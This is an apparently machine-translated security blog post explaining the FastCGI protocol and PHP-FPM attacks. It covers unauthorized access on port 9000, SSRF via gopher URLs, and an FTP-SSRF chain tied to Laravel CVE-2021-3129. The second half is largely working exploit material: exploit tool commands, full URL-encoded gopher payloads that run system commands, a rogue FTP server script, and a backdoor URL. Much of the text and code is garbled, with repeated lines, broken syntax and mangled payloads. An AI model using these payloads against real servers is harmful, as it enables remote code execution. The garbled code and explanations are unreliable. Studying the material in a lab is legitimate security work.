Web security | Fastcgi protocol analysis and PHP – FPM attack methods
preface
A script boy, as you can tell from the article… I can’t help it!
This article summarizes the Fastcgi principle and attack methods, if there is improper place also hope you big guy more advice.
Early Web servers could only respond to requests for HTTP static resources from the browser and return static resources stored in the server to the browser. With the development of Web technology, dynamic technology gradually appeared, but the Web server can not directly run dynamic scripts, in order to solve the Web server and external applications (CGI program) data communication, so the Common Gateway Interface (CGI) general Gateway Interface. Simply put, you can think of CGI as a convention for a Web server to “communicate” with the applications running on it.
When a dynamic script request is encountered, the main Web server process forks a new process to start the CGI program and run external C programs, Perl, PHP scripts, etc., handing the dynamic script to the CGI program to handle. Starting a CGI program requires a process such as reading configuration files, loading extensions, and so on. When the CGI program starts, it parses the dynamic script and returns the results to the Web server, which then returns the results to the client and shuts down the forked process. In this way, every time the user requests a dynamic script, the Web server has to Fork a new process to start the CGI program. The CGI program processes the dynamic script, and the process is shut down after the processing is completed, which is very inefficient.
For Mod CGI, the Web server can have a built-in Perl interpreter or PHP interpreter. That is, by making these interpreters into modules, the Web server will start them at startup. When a new dynamic request comes in, the Web server parses the dynamic scripts itself, saving the need to Fork a new process and increasing efficiency.
FastCGI
CGI solves the problem of communication between the Web server and the PHP interpreter, but the Problem with the Web server is that every time it receives a request, it forks a CGI process and then kills it, which is a waste of resources. As a result, there is a modified version of CGI – Fast-CGI.
Fast Common Gateway Interface (FastCGI) is a protocol that allows interactive programs to communicate with Web servers. FastCGI is an enhanced version of the earlier Common Gateway Interface (CGI). FastCGI aims to reduce the overhead of interaction between a web server and a CGI program. Instead of killing the process after each request is processed, FastCGI saves the process so that the server can handle more web requests at the same time. This will greatly improve efficiency.
The browser processes static/dynamic web pages
It is well known that exist in the site classification a classification is static and dynamic web sites, the difference between the two is a static web site need only through the browser to parse, the page is one-to-one (a content corresponds to a page), and dynamic website requires an additional compile parsing process, the data on the web pages from the database or other local calls, The page changes as the data changes, resulting in a degree of interactivity.
The process by which a browser accesses a static web page
In the process of accessing the entire Web page, the Web container (such as Apache and Nginx) only acts as the content distributor. When visiting the home page of a static website, the Web container will look for the home page file in the corresponding directory of the website and then send it to the user’s browser.
The process of a browser accessing a dynamic web page
When you visit the home page of a dynamic site, and the container knows from its configuration file that the page is not a static one, the Web container goes to a PHP parser for processing (in Apache’s case), which simply processes the request and passes it on to the PHP interpreter.
When Apache receives a request for index.php from a user using CGI, it launches the corresponding CGI program, in this case the PHP parser. The PHP parser then parses the php.ini file, initializes the execution environment, processes the request, returns the result in a CGI format, exits the process, and the Web Server returns the result to the browser. This is a complete dynamic PHP Web access flow.
Using CGI, FastCGI is the equivalent of high performance CGI. Unlike CGI, FastCGI is like a resident CGI that runs all the time after it’s started. It doesn’t need to be started every time it processes data. Its primary behavior is to keep the CGI interpreter process in memory and thus achieve high performance.
Fastcgi protocol analysis
Fastcgi Record
Fastcgi is actually a communication protocol, just like HTTP, which is a channel for data exchange.
HTTP protocol is a data exchange protocol between browser and server middleware. The browser assembs HTTP headers and HTTP bodies into packets using certain rules and sends them to server middleware in THE form of TCP. Server middleware decodes the packets according to the rules and gets the data required by users as required. It is packaged with HTTP rules and returned to the server.
Compared with HTTP, Fastcgi is a protocol used to exchange data between server middleware and a language back end. Fastcgi protocol is composed of a number of Record, Record also has Header and Body said, the server middleware will be both in accordance with Fastcgi rules encapsulation sent to the language back end, the language back end decoded to get specific data, specified operations, The result is wrapped in Fastcgi and returned to the server middleware.
Unlike HTTP headers, the Fastcgi Record header is fixed to 8 bytes. The Body is specified by the contentLength in the header, which is structured as follows:
Typedef struct {/* Header Header information/unsigned char version; // Used to indicate the FastCGI protocol version number unsigned char type; // Used to identify the type of the FastCGI message, that is, used to specify the method to process the message unsigned char requestIdB1; // Unsigned char requestIdB0; // Unsigned char requestIdB0; unsigned char contentLengthB1; Unsigned char contentLengthB0; unsigned char paddingLength; // Unsigned char reserved; / Body message Body */ unsigned char contentData[contentLength]; unsigned char paddingData[paddingLength]; } FCGI_Record; The header consists of eight variables of type uchar, one byte each. Where, requestId takes up two bytes, a unique flag ID, to avoid the impact between multiple requests; ContentLength is two bytes and represents the size of the Body. As you can see, the maximum Body size supported by a Fastcgi Record structure is 2^16, or 65536 bytes.
The backend language parses the Fastcgi header, gets the contentLength, and then reads the requested TCP stream data equal to contentLength, which is the Body.
The Body is followed by an additional Padding, whose length is specified by the paddingLength in the header, which is reserved. When the Padding is not needed, set its length to 0.
Fastcgi Type
We have just introduced the meaning of the various structures in the Record part of the Fastcgi protocol, the second byte of which is type, which we will explain in more detail.
Type specifies the Record’s role. Because a Record in Fastcgi has a limited size and a single role, we need to transfer multiple Records in a TCP stream, using type to identify the role of each Record, and requestId to identify the ID of the same request. That is, for each request, there will be multiple records with the same requestId.
Here is a table listing the main types:
1 The type value in the first message sent after the connection is established with phP-FPM should be 1, indicating that this message is the first message to start the request. 2 The interaction with PHP-FPM is abnormally interrupted. 3 The type value in the last message sent in the interaction with php-FPM is as follows: 4 When passing environment variables to PHP-FPM during the interaction, set type to this to indicate that the data contained in the message is a name-value pair. 5 The Web server sends the POST request data (form submission, etc.) received from the browser to PHP-FPM in the form of a message. So the type of this message is going to be 5, 6 and the type of the normal response that PHP-Fpm sends back to the Web server is going to be 6 and the type of the error response that php-Fpm sends back to the Web server is going to be 7 and if you look at this table it’s pretty clear that the server middleware is communicating with the backend language, The first packet is type 1 Record, subsequent exchanges, send type 4, 5, 6, 7 Record, send type 2, 3 Record at the end.
When the backend language receives a Record of type 4, it interprets the Body of the Record into key-value pairs according to the corresponding structure, which are the environment variables. The structure of environment variables is as follows:
typedef struct { unsigned char nameLengthB0; /* nameLengthB0 >> 7 == 0 / unsigned char valueLengthB0; / valueLengthB0 >> 7 == 0 / unsigned char nameData[nameLength]; unsigned char valueData[valueLength]; } FCGI_NameValuePair11; typedef struct { unsigned char nameLengthB0; / nameLengthB0 >> 7 == 0 / unsigned char valueLengthB3; / valueLengthB3 >> 7 == 1 / unsigned char valueLengthB2; unsigned char valueLengthB1; unsigned char valueLengthB0; unsigned char nameData[nameLength]; unsigned char valueData[valueLength ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0]; } FCGI_NameValuePair14; typedef struct { unsigned char nameLengthB3; / nameLengthB3 >> 7 == 1 / unsigned char nameLengthB2; unsigned char nameLengthB1; unsigned char nameLengthB0; unsigned char valueLengthB0; / valueLengthB0 >> 7 == 0 / unsigned char nameData[nameLength ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0]; unsigned char valueData[valueLength]; } FCGI_NameValuePair41; typedef struct { unsigned char nameLengthB3; / nameLengthB3 >> 7 == 1 / unsigned char nameLengthB2; unsigned char nameLengthB1; unsigned char nameLengthB0; unsigned char valueLengthB3; / valueLengthB3 >> 7 == 1 */ unsigned char valueLengthB2; unsigned char valueLengthB1; unsigned char valueLengthB0; unsigned char nameData[nameLength ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0]; unsigned char valueData[valueLength ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0]; } FCGI_NameValuePair44; There are actually 4 structures, and the rules for which structure to use are as follows:
1. FCGI_NameValuePair11 for key < 128 bytes and value < 128 bytes 2. FCGI_NameValuePair41 for key < 128 bytes and value < 128 bytes Use FCGI_NameValuePair14 for Record with key and value larger than 128 bytes. Since environment variables play an important role in phP-FPM, this structure will be included in future code. Other cases of type, you can read the document to understand.
PHP-FPM
We have seen php-fpm in the past, but what is this php-fpm?
The official definition of phP-FPM is the FastCGI process manager, which replaces most of the additional features of PHP FastCGI and is very useful for high load websites. Php-fpm listens on port 9000 by default.
In other words, phP-fpm is a concrete implementation of FastCGI, and provides the function of process management. In the process, there are master and worker processes, which can be viewed by command when we build the environment later. The master process is responsible for communicating with the Web server middleware, receiving user requests packaged according to FastCGI rules in the middle of the server, and then forwarding the requests to the worker process for processing. The worker process is mainly responsible for the back-end dynamic execution of PHP code, and after processing, returns the processing result to the Web server, which then sends the result to the client.
For example, when a user to http://127.0.0.1/index.php? If a=1&b=2, if the Web directory is /var/www/html, then the Web server middleware (such as Nginx) will change the request to the following key-value pair:
{‘GATEWAY_INTERFACE’: ‘FastCGI/1.0’, ‘REQUEST_METHOD’: ‘GET’, ‘SCRIPT_FILENAME’: ‘/var/www/html/index.php’, ‘SCRIPT_NAME’: ‘/index.php’, ‘QUERY_STRING’: ‘? a=1&b=2’, ‘REQUEST_URI’: ‘/index.php? a=1&b=2’, ‘DOCUMENT_ROOT’: ‘/var/www/html’, ‘SERVER_SOFTWARE’: ‘php/fcgiclient’, ‘REMOTE_ADDR’: ‘127.0.0.1’, ‘REMOTE_PORT’, ‘12345’, ‘SERVER_ADDR’ : ‘127.0.0.1’, ‘SERVER_PORT’ : ’80’, ‘SERVER_NAME’ : “Localhost “, ‘SERVER_PROTOCOL’: ‘HTTP/1.1’} This array is actually part of the PHP SERVER array, which is the PHP environment variable. But environment variables do more than populate part of the _SERVER array, which is the environment variable in PHP. But environment variables do more than populate a portion of the SERVER array, which is the environment variable in PHP. But the environment variable is not only used to populate the _SERVER array, it’s also used to tell the FPM “Which PHP file I want to execute”.
Php-fpm takes the Fastcgi packet and parses it to get these environment variables. Then, execute the PHP file that SCRIPT_FILENAME points to, that is, /var/www/html/index.php. But if we can control SCRIPT_FILENAME, we can tell phP-FPM to execute any PHP file on the server. At this point, the phP-FPM unauthorized access vulnerability is almost there.
Php-fpm arbitrary code execution
As we mentioned earlier, the Web server middleware will set the user request to an environment variable, and a ‘SCRIPT_FILENAME’ will appear: PHP ‘/var/ WWW/HTML /index.php’, which means that phP-fpm will execute the file, but even if you can control the value of the key pair, you can only control php-Fpm to execute a file that already exists, and you can’t execute malicious code. In PHP 5.3.9 and later, PHP added the security.limit_extensions security option, causing phP-fPM to only execute files such as PHP, PHp3, PHP4, php5, php7, etc. So you have to find an existing PHP file, which makes the attack more difficult.
Fortunately, there are two interesting configuration items in powerful PHP:
• auto_prepend_file: tells PHP to include the file specified in auto_prepend_file before executing the target file. • auto_append_file: Tells PHP to include the file pointed to by auto_append_file after executing the target file. Now, if we set auto_prepend_file to PHP ://input, that means we need to include the POST content before executing any PHP files. So, all we need to do is put the code that needs to be executed in the Body, and it will be executed. (Of course, this also requires turning on the remote file include option allow_URl_include.)
So, how do we set the auto_prepend_file value?
This brings us back to phP-FPM’s two environment variables, PHP_VALUE and PHP_ADMIN_VALUE. PHP_VALUE can be set to PHP_INI_USER and PHP_INI_ALL, and PHP_ADMIN_VALUE can be set to all options.
So, we end up passing in the following environment variable:
{‘GATEWAY_INTERFACE’: ‘FastCGI/1.0’, ‘REQUEST_METHOD’: ‘GET’, ‘SCRIPT_FILENAME’: ‘/var/www/html/index.php’, ‘SCRIPT_NAME’: ‘/index.php’, ‘QUERY_STRING’: ‘? a=1&b=2’, ‘REQUEST_URI’: ‘/index.php? a=1&b=2’, ‘DOCUMENT_ROOT’: ‘/var/www/html’, ‘SERVER_SOFTWARE’: ‘php/fcgiclient’, ‘REMOTE_ADDR’: ‘127.0.0.1’, ‘REMOTE_PORT’, ‘12345’, ‘SERVER_ADDR’ : ‘127.0.0.1’, ‘SERVER_PORT’ : ’80’, ‘SERVER_NAME’ : “Localhost “, ‘SERVER_PROTOCOL’: ‘HTTP/1.1’ ‘PHP_VALUE’: ‘auto_prepend_file ‘= PHP ://input’, ‘PHP_ADMIN_VALUE’: ‘allow_url_include = On’} set auto_prepend_file = PHP ://input and allow_url_include = On, then put the code we need to execute in the Body to execute any code.
Php-fpm unauthorized access vulnerability
PHP configuration options auto_prepend_file and allow_URl_include can be set using PHP_VALUE and PHP_ADMIN_VALUE environment variables. This causes phP-FPM to execute arbitrary code we provide, causing arbitrary code to execute. In addition, because PHP-FPM and Web server middleware communicate over the network, more and more clusters now bind phP-FPM directly to the public network and make it accessible to all. This means that anyone can masquerade as Web server middleware to get PHP-FPM to execute whatever malicious code we want. This creates an unauthorized access vulnerability for PHP-FPM.
Here we set up an environment to explain the attack process of phP-FPM unauthorized access vulnerability.
Environment set up
• Ubuntu (192.168.0.175) • Kali (192.168.0.128) • Ubuntu (192.168.0.128
Sudo apt-get install nginx install PHP, php-fpm, and some plugins
sudo apt-get install software-properties-common python-software-properties sudo add-apt-repository ppa:ondrej/php # It’s easy to get stuck in here, Sudo apt-get update sudo apt-get -y install php7.4 sudo apt-get -y install php7.4-fpm php7.4-mysql php7.4-curl Php7.4 -json php7.4-mbstring php7.4- XML php7.4-intl
Next we need to modify the php-FPM configuration to listen on port 9000 to handle nginx requests and expose php-FPM to 0.0.0.0.
Open/etc/PHP / 7.4 / FPM/pool. D/www.conf files to find the following position, comment out the first line and add the second line:
; Sock = /run/ PHP /php7.4-fpm. Sock = 0.0.0.0:9000 At this point, the attacker can directly communicate with the PHP-FPM exposed on the target host 9000 port, and then arbitrary code execution can be realized.
Modify permissions
Sock Open the nginx configuration file /etc/nginx/sites-available/default to modify the corresponding configuration
server { listen 80; Server_name www.example.com; Root /var/www/html; Location / {index index. PHP; # autoindex on jump to www.example.com/index.php; } # reverse proxy to php-fpm location ~.php {fastcgi_split_path_info ^(.+\.php)(/.+); Fastcgi_pass 0.0.0.0:9000; #fastcgi_pass Unix :/run/ PHP /php7.4-fpm.sock; fastcgi_index index.php; include fastcgi_params; }} Start the environment
After configuration, check the installation location of PHP-FPM and start it
Whereis php-fpm /usr/sbin/php-fpm7.4 # This is the location on my target where php-fpm was installed to restart Nginx
Nginx: sudo systemctl restart nginx
Null check PHP – image – 20210430211840986 FPM correctly start ps – the elf | grep PHP – FPM
Null image-20210430211939856: one master process and multiple worker processes.
PHP /var/ WWW/HTML /var/ WWW/HTML /var/ WWW/HTML /var/ WWW/HTML /var/ WWW/HTML /var/ WWW/HTML /var/ WWW/HTML /var/ WWW/HTML
To check that everything is working properly (if the page is empty, see this article to resolve it) :
Null image-20210430212653572 where the Sever API is the same as the figure above, it indicates that the operation is correct. Now we attack.
Use the fcGI_exp. go attack
• Project address: github.com/wofeiwo/web… Adventurous: If you have loaded the project down, enter webcgi-adventurous/PHP /Fastcgi to create a fcGiclient directory and put fcGiclient. Go into your new FCGiclient directory:
Null image-20210501203013815 then install go environment to compile:
Go build fcgi_exp. Go # Compile fcgi_exp. Go and run fcgi_exp directly.
Null image-20210501203132859 Run the following command to test the image
/fcgi_exp system 192.168.43.82 9000 /var/www/html/index.php “id” •system: PHP function to be used •192.168.43.82: IP address of the target server •9000: •/var/www/html/index.php: a known PHP file located on the target •id: the system command to be executed is as follows:
Null image-20210501203235683 uses phith0n’s fpm.py
• project address: gist.github.com/phith0n/961… Compatible with Python2 and Python3, easy to use on the Intranet. Before a number of people always take a GO write tool in use, and not so easy to use. Actually understand the FastCGI protocol, look at the source code, it is very simple. “– phith0n Usage:
Py 192.168.43.82 /var/www/html/index.php -c”
Null image-20210501205327308 Attack on FPM/FastCGI in SSRF
Sometimes php-fpm is bound to 127.0.0.1 instead of 0.0.0.0, thus preventing php-Fpm from being exposed to attackers on the public network. However, if the target host has SSRF vulnerabilities, We can attack phP-FPM on the Intranet through SSRF vulnerability.
• Target: Ubuntu (192.168.0.175) • Attack: Kali (192.168.0.128) Create the ssrf.php file in the target Web directory and write the following codes with SSRF vulnerabilities:
In this case, the SSRF vulnerability exists on the target host, and phP-FPM running on port 9000 on the target host can be detected by SSRF. At this time, although PHP-FPM is not exposed on the public network, because of SSRF vulnerability, we can use SSRF vulnerability and Gopher protocol to hit phP-FPM on the internal network.
Use the FCGI_exp attack
• Project address: github.com/wofeiwo/web… The fcGI_exp tool is used to attack unauthorized access to phP-FPM, so you need to write your own scripts to convert the payload.
Run the following command to test:
/fcgi_exp system 192.168.43.89000 /var/ WWW/HTML /index.php “id” There is no phP-FPM unauthorized access, so the attack cannot succeed. We’re going to use the SSRF to attack port 9000 from within the target.
On the attacker, run the nC-lvvp 1234 > fcg_exp. TXT command to listen to port 1234 to receive the payload. In addition, open a terminal and run the following command to send the payload
/fcgi_exp system 127.0.0.1 1234 /var/www/ HTML /index.php “id” null image-20210501212934401 Select * from ‘fcg_exp. TXT’; select * from ‘fcg_exp. TXT’; select * from ‘fcg_exp. TXT’;
Null image-20210501213005715 null image-20210501213005715 null image-20210501213005715 null image-20210501213005715 null image-20210501213005715 null image-20210501213005715
–– coding: UTF-8 ––
from urllib.parse import quote, unquote, urlencode file = open(‘fcg_exp.txt’,’r’) payload = file.read() Print (” gopher://127.0.0.1:9000/_ “+ quote (content). The replace (” % 0 a”, “% 0 d”). The replace (” % 2 f “, “/”)) to perform the above python scripts generate the following content:
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%14%04%00%0E%02CONTENT_LENGTH56% 0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Ddisable_functions%20%3D%20%0Dsafe_mode%20%3D%20Off% 0Dauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%0F%10SERVER_SO FTWAREgo % 20 / % 20 fcgiclient % 20% 0 b % 09 remote_addr127. 0.0.1%0 f % 08 server_protocolhttp / 1.1% 00% 00% 00% 00% 01% 04% 00% 01% 00% 00% 00% 00% 01%05%00%01%008%00%00%3C%3Fphp%20system%28%27id%27%29%3Bdie%28%27—–0vcdb34oju09b8fd—–%0D%27%29%3B%3F%3E And then we’re going to do a second URL encoding for that payload, and then we’re going to put the final payload, right? Curl = curl = curl = curl = curl = curl = curl = curl = curl = curl
ssrf.php? Url = gopher % 3 a / / 127.0.0.1%3 a9000 / _ % 2501% 2501% 2500% 2501% 2500% 2508% 2500% 2500% 2500% 2501% 2500% 2500% 2500% 2500% 2500% 2500% 2501% 2 504%2500%2501%2501%2514%2504%2500%250E%2502CONTENT_LENGTH56%250E%2504REQUEST_METHODPOST%2509%255BPHP_VALUEallow_url_incl ude%2520%253D%2520On%250Ddisable_functions%2520%253D%2520%250Dsafe_mode%2520%253D%2520Off%250Dauto_prepend_file%2520%253 D%2520php%253A//input%250F%2517SCRIPT_FILENAME/var/www/html/index.php%250D%2501DOCUMENT_ROOT/%250F%2510SERVER_SOFTWAREgo % % 2520/2520 fcgiclient % 2520% % 2509 remote_addr127. The 250 b 0.0.1%250 f % 2508 server_protocolhttp / 1.1% 2500% 2500% 2500% 2500% 2501% 2504% 2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%25008%2500%2500%253C%253Fphp%2520system%2528%2527id%2527%2529%253Bdie% 2528%2527—– 0vcdb34OJU09b8fd —–%250D%2527%2529%253B%253F%253E The command is successfully executed as shown in the following figure:
Null image-20210501213240893 Attack using Gopherus
• Project address: github.com/tarunkant/G… Gopherus is a more convenient tool to generate Gopher payloads for RCE using SSRF:
Null image-20210501213539122 null image-20210501213539122
Python gopherus.py –exploit fastcgi /var/www/html/index.php # Get the payload as shown in the figure above:
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo % 20 / % 20 fcgiclient % 20% 0 b % 09 remote_addr127. 0.0.1%0 f % 08 server_protocolhttp / 1.1% 0 02 content_length54 e % % 0 04 request_methodpos e % T%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17S CRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%006%04%00%3C%3 Fphp% 20System %28% 27ID %27%29%3Bdie%28%27—– Made-by-Spyd3r —–%0A%27%29%3B%3F%3E%00%00%00 Url = send the following:
/ssrf.php? Url = gopher % % 2 f % 2 f127. 3 a 0.0.1%3 a9000%2 f_ % 2501% 2501% 2500% 2501% 2500% 2508% 2500% 2500% 2500% 2501% 2500% 2500% 2500% 2500% 2500% 2500% 2501% 2504% 2500% 2501% 2501% 2504% 2504% 2500% 250 f % 2510 server_softwarego % 2520% 2 f % 2520 fcgiclient % 2520% 250 b % 2509 remote_addr127. 0 250 f % 2508 server_protocolhttp % 0.1% 2 of f1. 1% 250 e 2502 2504 request_methodpost content_length54%250 e % % % 2509 kphp_valueallow_url_in clude%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A%2F%2Finput%250F %2517SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Findex.php%250D%2501DOCUMENT_ROOT%2F%2500%2500%2500%2500%2501%2504%2500%2501%25 00%2500%2500%2500%2501%2505%2500%2501%25006%2504%2500%253C%253Fphp%2520system%2528%2527id%2527%2529%253Bdie%2528%2527— — Made-by-spyd3r —–%250A%2527%2529%253B%253F%253E%2500%2500%2500% 2500%2500 The command is executed successfully, as shown in the following figure:
Null image-20210501213753652 FTP-SSRF attack FPM/FastCGI
Laravel Debug Mode RCE (CVE-2021-3129) The core of the vulnerability is that the contents of the file_get_contents() and file_put_contents() functions passed in are not filtered, which can trigger phar deserialization to achieve RCE effect through delicate construction.
The vulnerability code can be roughly simplified into the following code:
phpvalue=”unserializecallbackfunc=system\nextensiondir=/tmp\nextension=hpdoger.so\ndisableclasses=\ndisablefunctions=\na llowurlinclude=On\nopenbasedir=/\nautoprependfile=”; php_value = “unserialize_callback_func = system\nextension_dir = /tmp\nextension = hpdoger.so\ndisable_classes = \ndisable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = “; phpvalue=”unserializecallbackfunc=system\nextensiondir=/tmp\nextension=hpdoger.so\ndisableclasses=\ndisablefunctions=\na llowurlinclude=On\nopenbasedir=/\nautoprependfile=”; Params = array(‘GATEWAY_INTERFACE’ => ‘FastCGI/1.0’, ‘REQUEST_METHOD’ => ‘POST’, ‘SCRIPT_FILENAME’ =>filepath, ‘SCRIPTNAME’ =>filepath, ‘SCRIPT_NAME’ =>filepath, ‘SCRIPTNAME’ =>req, ‘QUERY_STRING’ => ‘command=whoami’, ‘REQUEST_URI’ => URI, ‘DOCUMENTURI’ => URI, ‘DOCUMENT_URI’ => URI, ‘DOCUMENTURI’ =>req, #’DOCUMENT_ROOT’ => ‘/’, ‘PHP_VALUE’ => Phpvalue, ‘SERVERSOFTWARE’ = > ’80 SEC/wofeiwo’, ‘REMOTEADDR’ = > ‘127.0.0.1’, ‘REMOTEPORT’ = > ‘9001’, ‘SERVERADDR’ = > ‘127.0.0.1’, ‘SER VERPORT ‘= >’ 80 ‘, ‘SERVERNAME’ = > ‘localhost’, ‘SERVERPROTOCOL’ = > ‘HTTP / 1.1’, ‘CONTENTLENGTH’ = > strlen (php_value, ‘SERVER_SOFTWARE’ = > ’80 SEC/wofeiwo’, ‘REMOTE_ADDR’ = > ‘127.0.0.1’, ‘REMOTE_PORT’ = > ‘9001’, ‘SERVER_ADDR’ = > ‘127.0.0.1’, ‘SERVER_PORT’ = > ’80’, ‘SERVER_NAME’ = > ‘localhost’, ‘SERVER_PROTOCOL’ = > ‘HTTP / 1.1. ‘CONTENT_LENGTH’ => Strlen (phpvalue, ‘SERVERSOFTWARE’ = > ’80 SEC/wofeiwo’, ‘REMOTEADDR’ = > ‘127.0.0.1’, ‘REMOTEPORT’ = > ‘9001’, ‘SERVERADDR’ = > ‘127.0.0. 1 ‘, ‘SERVERPORT’ = > ’80’, ‘SERVERNAME’ = > ‘localhost’, ‘SERVERPROTOCOL’ = > ‘HTTP / 1.1’, ‘CONTENTLENGTH’ = > strlen (code)); // print_r( REQUEST); //printr(_REQUEST); // print_r(REQUEST); //printr(params); //echo “Call: uri\n\n”; echouri\n\n”; echo uri\n\n”; echoclient->request( params,params, params,code).”\n”; ? > null image-20210502101153046 then execute the following script to build a malicious FTP server on your own VPS:
Import socket s = socket.socket(socket.af_inet, socket.sock_stream) s.string ((‘0.0.0.0′, 23)) s.string (1) conn, addr = s.accept() conn.send(b’220 welcome\n’) #Service ready for new user. #Client send anonymous username #USER anonymous conn.send(b’331 Please specify the password.\n’) #User name okay, need password. #Client send anonymous password. #PASS anonymous conn.send(b’230 Login successful.\n’) #User logged in, proceed. Logged out if appropriate. #TYPE I conn.send(b’200 Switching to Binary mode.\n’) #Size / conn.send(b’550 Could not get the file size.\n’) #EPSV (1) conn.send(b’150 ok\n’) #PASV conn.send(b’227 Entering Extended Passive Mode (123,0,0,1,0,9001)/(2) conn. Send (b’150 Permission denied.\n’) #QUIT conn. Send (b’221 Goodbye.\n’) Conn.close () null image-20210502101332465
Null image-20210502101433135 Eval () : file_put_contents() :
/add_api.php? backdoor= file=file = file=_GET[‘file’]; data=data = data=_GET[‘data’]; file_put_contents( file,file,file,data); & the file = ftp://[email protected]:23/123&data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%02%3F%00%00%11%0BG ATEWAY_INTERFACEFastCGI % 2 f1. 0% 0 04 request_methodpost e % % 0 f % 19 script_filename % 2 fvar % 2 FWWW % 2 FHTML % 2 fadd_api. PHP % 0 b % 0 cscript_ NAME%2Fadd_api.php%0C%0EQUERY_STRINGcommand%3Dwhoami%0B%1BREQUEST_URI%2Fadd_api.php%3Fcommand%3Dwhoami%0C%0CDOCUMENT_URI %2Fadd_api.php%09%80%00%00%B3PHP_VALUEunserialize_callback_func+%3D+system%0Aextension_dir+%3D+%2Ftmp%0Aextension+%3D+hp doger.so%0Adisable_classes+%3D+%0Adisable_functions+%3D+%0Aallow_url_include+%3D+On%0Aopen_basedir+%3D+%2F%0Aauto_prepen D_file 3 d + + % % % 0 0 f dserver_software80sec % 2 fwofeiwo % 0 b % 09 remote_addr127. The 0.0.1% % 0 04 remote_port9000 b % % 0 b. 09 server_addr127 0.0.1 % % 0 02 server_port80 b % % 0 b 09 server_namelocalhost 08 server_protocolhttp % % 0 f % 2 f1. 0 02 content_length49 e % % 01% 1% 04% 00% 01% 00% 00% 00% 00%01%05%00%01%001%00%00%3C%3Fphp+system%28%24_REQUEST%5B%27command%27%5D%29%3B+phpinfo%28%29%3B+%3F%3E%01%05%00%01%00%0 After an FTP connection is established, the payload is redirected to the PHP-FPM of port 9001 on the target host in passive mode.
/usr/local/bin/php = /usr/local/bin/ PHP = /usr/local/bin/ PHP = /usr/local/bin/ PHP